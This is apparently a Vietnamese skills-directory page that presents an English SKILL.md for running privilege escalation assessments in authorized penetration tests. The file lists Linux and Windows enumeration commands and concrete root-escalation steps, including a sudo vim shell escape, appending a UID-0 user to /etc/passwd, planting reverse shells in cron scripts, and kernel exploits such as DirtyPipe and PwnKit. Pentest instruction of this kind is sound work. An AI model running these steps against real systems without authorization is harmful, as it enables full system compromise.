performing-privilege-escalation-assessment
Skill này làm gì
Công cụ này giúp tìm cách giành thêm quyền kiểm soát trên máy tính mà bạn chỉ có quyền truy cập hạn chế. Nó tìm các cấu hình sai hoặc chương trình có lỗ hổng để đạt quyền quản trị viên.
Khi nào nên dùng
- ✓Khi đã có quyền truy cập ban đầu trong một bài kiểm thử bảo mật.
- ✓Khi cần kiểm tra xem một máy chủ có được bảo vệ tốt trước xâm nhập không.
- ✓Khi cần kiểm tra xem các chương trình bảo mật có phát hiện được nỗ lực xâm nhập không.
Liên kết skill
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-privilege-escalation-assessment/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Kiểm tra xem tôi có thể giành quyền quản trị viên trên máy chủ này không.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Công cụ kiểm tra hệ thống để tìm thiết lập sai, chương trình lỗi thời hoặc mật khẩu đã lưu. Sau đó nó thử dùng những phát hiện này để giành toàn quyền truy cập hệ thống.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Performing Privilege Escalation Assessment
When to Use
- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise
- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks
- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques
- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints
- Validating that container breakout and VM escape controls are properly configured
Do not use without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.
Prerequisites
- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means
- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)
- Compiled kernel exploits for common CVEs or access to compilation tools on the target
- GTFOBins reference for Linux SUID/sudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries
- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target
Workflow
Step 1: System Enumeration
Gather comprehensive information about the target system:
Linux Enumeration:
id && whoami- Current user and group membershipsuname -a- Kernel version for kernel exploit identificationcat /etc/os-release- Distribution and versionsudo -l- Commands the current user can run as root via sudofind / -perm -4000 -type f 2>/dev/null- SUID binariesfind / -perm -2000 -type f 2>/dev/null- SGID binariescrontab -l && ls -la /etc/cron*- Scheduled tasks running as rootps aux | grep root- Processes running as rootcat /etc/passwd- User accounts (look for additional users with UID 0)find / -writable -type d 2>/dev/null- World-writable directories- Run
linpeas.shfor automated comprehensive enumeration
Windows Enumeration:
whoami /priv- Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)systeminfo- OS version, hotfix level, architecturewmic service get name,pathname,startmode- Unquoted service pathsicacls "C:\Program Files" /T- Writable directories in Program Filesreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated- AlwaysInstallElevated checkcmdkey /list- Stored Windows credentialsschtasks /query /fo LIST /v- Scheduled tasks with their run-as accounts- Run
winPEAS.exefor automated comprehensive enumeration
Step 2: Linux Privilege Escalation Vectors
Test identified escalation vectors systematically:
- Sudo misconfigurations: If
sudo -lshows entries like(ALL) NOPASSWD: /usr/bin/vim, use GTFOBins to escalate:sudo vim -c ':!/bin/bash'to spawn a root shell- Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env
- SUID binary abuse: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:
- Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)
- Known SUID: Check GTFOBins for exploitation of standard SUID binaries
- Cron job exploitation: If a cron job runs a script writable by the current user, or runs a script from a writable directory:
- Modify the script to add a reverse shell or SUID copy of bash
- PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable
- Kernel exploits: Match the kernel version to known exploits:
- DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11
- DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3
- PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions
- Capabilities abuse:
getcap -r / 2>/dev/nullto find binaries with elevated capabilities (cap_setuid, cap_dac_override) - Writable /etc/passwd: If /etc/passwd is writable, add a new root user:
echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd
Step 3: Windows Privilege Escalation Vectors
Test Windows-specific escalation paths:
- Token impersonation: If the user has
SeImpersonatePrivilege(common for service accounts and IIS):
…
Câu hỏi thường gặp
Tôi có cần sự cho phép để dùng công cụ này không?
Có, bạn cần sự cho phép bằng văn bản trước khi dùng, đặc biệt là trên các hệ thống quan trọng.
Leo thang đặc quyền (privilege escalation) là gì?
Đó là quá trình giành quyền cao hơn trên một hệ thống, như chuyển từ người dùng thường thành quản trị viên.
Công cụ hỗ trợ những hệ thống nào?
Công cụ hoạt động trên cả hệ thống Linux và Windows.
Chi tiết
Mô tả gốc của tác giả
Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege
Độ phổ biến
- Sao GitHub
- 35k
- Vị trí xếp hạng
- #8288
- Giấy phép
- Apache-2.0
- Cập nhật
- 31/8/2026
Bình luận
- …
Thêm skill từ kho mã này
abusing-dpapi-for-credential-access
35kCung cấp cho agent AI của bạn hướng dẫn có sẵn cho một tác vụ cụ thể, giúp nó làm việc tốt hơn và nhanh hơn.
abusing-shadow-credentials-for-privesc
35kDạy agent AI của bạn viết văn bản rõ ràng và có cấu trúc tốt.
achieving-cmmc-level-2-compliance
35kGiúp agent của bạn chuẩn bị môi trường để tuân thủ CMMC Level 2. Triển khai các yêu cầu bảo mật và quản lý tài liệu cần thiết.
acquiring-disk-image-with-dd-and-dcfldd
35kGiúp agent của bạn tạo bản sao chính xác của ổ đĩa. Cách này đảm bảo không mất hay thay đổi thông tin trong quá trình điều tra.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.